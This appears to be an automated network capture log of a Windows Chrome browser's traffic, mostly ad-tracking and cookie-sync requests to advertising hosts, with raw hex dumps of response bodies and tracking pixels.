2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e5 e9 cf bb 99 c5 cb bb cb d4 dc cd 1b d3 58 29 d4 a6 2f 22 7a 96 67 47 17 47 2d e7 cd b6 de bd dd b6 79 79 37 ae a5 b9 fb 29 b7 6d 5b d6 76 1b 59 7a 58 62 8c e4 c1 6c b5 a8 98 52 a9 28 91 58 b1 28 b8 a2 f2 62 9c 90 55 69 8a af 2b 49 c9 52 b2 8a 20 4c d6 12 d1 10 5d 4b 12 81 79 c5 26 46 31 91 8c b9 27 18 ca c7 06 46 21 92 b8 e1 3f 40 0e 5d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 e2 d9 79 33 ec f8 dd 5d 3d 6b ea 57 a9 f3 9f 51 c3 dd df 72 5d fc 7d 8c dc 14 9d ac 7c b3 1d 78 e4 97 ab 97 89 27 63 17 31 5d 1b f2 d5 d8 Data Ascii: X)/"zgGG-yy7)m[vYzXblR(X(bUi+IR L]Ky&F1'F!?@]y3]=kWQr]}\|x'c1]
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 44 8b 56 12 ea 8b 0b 27 26 2b d9 93 53 6f 53 22 26 74 bd ab 66 7e fe 3e 5f e9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 f3 b2 af a9 f0 6d 6a 8f 29 eb 3c a7 ab f3 7b 88 7a 7e 7c a1 52 81 28 44 a1 52 84 48 a9 21 25 02 50 2c 89 13 02 50 24 21 12 a4 09 44 a0 00 01 28 24 a0 b2 a8 b2 04 a0 4a 04 a0 4a 04 cd 45 d5 25 f2 62 c9 73 9b 4f 77 4a 09 4d dd 59 4f d0 23 e5 fe 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 3a 21 f5 3e 0c da 93 35 e5 fd 57 Data Ascii: DV'&+SoS"&tf~>_mj)<{z~\|R(DRH!%P,P$!D($JJE%bsOwJMYO#?:!>5W
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: bb 9e 13 e8 1a cc f8 1f a5 7c e3 5c fd f7 ac f8 77 d3 79 77 6b 7a bf 9a 2f 27 d6 f8 af a1 74 e1 1e 1b ea fe 76 cf 15 5f 77 3a e7 f3 8f b8 79 7f 61 c3 d5 f0 ef af 7c 87 eb cb e0 f9 1f 4a c3 db cb f3 98 fa 45 8f 9b e8 fd 67 c5 cd fb 2f 15 ef 18 eb f2 9a fd 46 dd 38 fc 97 e9 1d 6e 97 3e ff 00 2d fa 27 cd 3e 91 8e 9f 30 e5 fd ae f7 9f c3 31 fd fe f9 eb ab f2 1f b3 fc 5e e7 eb 1f 31 fa cc eb 97 ca ad f4 bd 5b 34 78 3e 97 e7 59 eb f4 bf 2f 87 b7 2f 9e d9 e9 60 4a ea 6c f3 fa 71 e1 67 d7 d9 f4 fc fe 9f 37 a9 c8 b9 8c b8 33 95 a5 e9 5f a2 07 ca fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 6f 1f 4f e2 Data Ascii: \|\wywkz/'tv_w:ya\|JEg/F8n>-'>01^1[4x>Y//`Jlqg73_~oO
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 06 3f af f9 be 1f 17 d4 f9 9e 3e ce 77 6f 85 de e7 e8 89 3b 79 13 6b d9 89 96 53 05 b2 54 ac 5c 52 2f 56 a2 c9 4a c6 59 4c 2b 96 ab 40 4a 48 48 84 8a ad 2b 45 c9 55 95 55 a1 69 5c b5 5d 5c 5b d4 e7 d3 52 76 6c d6 b6 4c b2 c6 16 59 ad 7b 66 bd 60 b6 78 b8 c7 92 66 ca a6 cc d1 71 8e 2f 32 d2 c5 59 04 98 89 17 a5 ec dc d6 eb eb 5e 7a 51 72 fe 81 1f 27 f4 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 f1 0d 2c fa ff 00 5b f3 76 e1 fa 0e 37 3f 47 0b bf e7 bd 27 1f 65 56 7a 3c 57 8a 42 5a 6a 32 d2 05 95 82 26 65 69 33 05 d5 33 31 21 78 b5 58 86 13 5a cb 75 45 94 85 bd 50 b2 a4 93 11 24 45 8b 4a dc b5 5a c5 Data Ascii: ?>wo;ykST\R/VJYL+@JHH+EUUi\]\[RvlLY{f`xfq/2Y^zQr'@,[v7?G'eVz<WBZj2&ei331!xXZuEP$EJZ
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: f4 1a 69 ad d9 d2 d9 3e 90 f8 7d 3c bf 4b ee 6f 86 0f b9 be 18 3e e6 f8 60 fb 9b e1 88 fb 9b e2 75 b3 ed cf 86 17 ee 6f 86 0f b9 be 18 3e e6 f8 60 fb 9b e1 a8 fb 93 e1 8a fb 9b e1 f1 1f 71 7c 6b 5c fb 6b e2 70 7d b5 f1 4c e7 d9 1f 25 1f 5a 7c 94 7d 69 f2 51 f5 a7 c9 47 d6 9f 25 1f 5a 7c 96 4f ac be 4c 3e b2 f9 30 fa cb e4 c3 eb 2f 93 8f ac 3e 4f ce 3e d2 f8 64 d9 f7 27 c3 cb f7 07 c4 b3 47 d9 df 16 93 ed 0f 8c 0f b3 be 31 8c fb 5b e2 15 af b8 be 4b 92 3e ac f9 4c 9f 55 7c af df 1d 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 f9 ef 81 d7 e4 63 59 32 e2 cb a9 9b 36 1c d2 df 36 28 c5 9f 57 e3 fd 6f 1d eb f2 ba 7c 99 ad ec ea c6 96 8e df 3f a6 39 bb 58 76 bb 63 2e ce 3d 89 6b af b9 Data Ascii: i>}<Ko>`uo>`q\|k\kp}L%Z\|}iQG%Z\|OL>0/>O>d'G1[K>LU\|`cY266(Wo\|?9Xvc.=k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	50304	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	1665	OUT	GET /pcs/view?xai=AKAOjsskQ6EZyreK4K8S0J1ej0fNlPennI5j5-NigWwmCzS8WWXDvPpSHl2KXfsPd0X7UCX22oqQy_kXGF3zCDRtnxLfPLAGd_bNLLKv_lmjr_ZLXkj0FZp6n2FVXk5FkFGoM0sx5fXaFiZ5F-mxs25bjwuLxcorj8FgqsxH6tCiRZdn_d01YEN3Z2J4TFbjZEnnsK35ea10hpVOoCCUTA&sai=AMfl-YQGJN2OVyvyfGKBjwZ1njq3q61O2qmlyUbvqzCpWOGRw3J9HgFEVjJvrIbRhcDRkwvWOD-3ExH3udbIDPOjIsQXn7wSlIK012w-dQ&sig=Cg0ArKJSzBtQBb5fJ2bvEAE&uach_m=%5BUACH%5D&cry=1&crd=aHR0cHM6Ly9ob25kYWRlYWxlcnMuY29t&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=4341&vt=11&dtpt=4200&dett=3&cstd=136&cisv=r20240424.72996&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Attribution-Reporting-Eligible: event-source, not-trigger;navigation-source Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:16 UTC	1578	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/png Attribution-Reporting-Register-Source: {"aggregation_keys":{"12":"0x98c0f367b8d2d33b0000000000000000","16":"0x5c605cba8d39f8290000000000000000","17":"0xb463bc8ebcadd360000000000000000","18":"0xfec0c851396345430000000000000000"},"debug_key":"14515112539645713990","debug_reporting":true,"destination":["https://hondadealers.com","https://debugconversiondomain1.com","https://debugconversiondomain2.com"],"event_report_windows":{"end_times":[86400,604800,2592000]},"expiry":"2592000","filter_data":{"14":[],"21":[],"8":["13690149"]},"max_event_level_reports":2,"priority":"0","source_event_id":"14458508465079922844"} X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:16 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Mon, 27-May-2024 22:42:16 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Sat, 27 Apr 2024 22:42:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	50305	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	698	OUT	GET /ecm3?ex=rubiconprojectHMT&id=8dFku2giTPGwzNVGy6YEoA&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:16 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: B2S2MRBCE25Q71BDKHYG Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	50308	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	952	OUT	GET /prebid/setuid?bidder=rubicon&uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M41.D>6NRF']wIg2Hc#u`tfT!A#Eo(<j<dINiYhTyXnfi8FW/Zpm5E[80f<kjl:mhj)Y2eEqCv^C=ecXEM1/X%W#.wL4W1Qw2.Sw':%
2024-04-27 22:42:17 UTC	1834	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 78925d49-dac3-4c87-b78a-b7776c4450c1 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5Of%Ip; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:16 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	50310	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	916	OUT	GET /pixel?google_nid=openx&google_hm=ZThjNTkwYWYtMDQyYi02YWRhLTU0MDMtODNlNGFhNWJiZTk2 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:17 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:16 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	50306	184.72.228.207	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	742	OUT	GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=51b9513d-31fb-4e13-8a96-326616d0043f
2024-04-27 22:42:16 UTC	320	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/png Content-Length: 68 Connection: close Set-Cookie: stx_user_id=51b9513d-31fb-4e13-8a96-326616d0043f; Max-Age=2592000; Expires=Mon, 27 May 2024 22:42:16 GMT; Path=/; Domain=.sharethrough.com; Secure; SameSite=None Cache-Control: no-cache
2024-04-27 22:42:16 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0b 49 44 41 54 78 da 63 f8 ff 1f 00 03 00 01 ff 6f 81 ab b6 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxcoIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	50312	147.28.129.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	638	OUT	GET /setuid/magnite?uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: prebid.a-mo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:17 UTC	224	IN	HTTP/1.1 204 No Content cache-control: max-age=0, private, must-revalidate date: Sat, 27 Apr 2024 22:42:16 GMT server: envoy vary: accept-encoding, Accept-Encoding x-envoy-upstream-service-time: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	50307	23.215.0.40	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	649	OUT	GET /cksync.php?cs=1&type=58160&ovsid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:17 UTC	883	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: visitor-id=3572593379104516000V10; Expires=Thu, 24 Oct 2024 22:42:17 GMT; domain=.hb.yahoo.net; Path=/; sameSite=none; secure=true Set-Cookie: data-mag=LVIOSA1W-7-6DCM~~1;Expires=Sun, 27 Apr 2025 22:42:17 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	50314	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	1044	OUT	GET /sync/openx/506d2521-5df0-a637-7034-cfa89feebdbf?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:17 UTC	778	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	50315	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
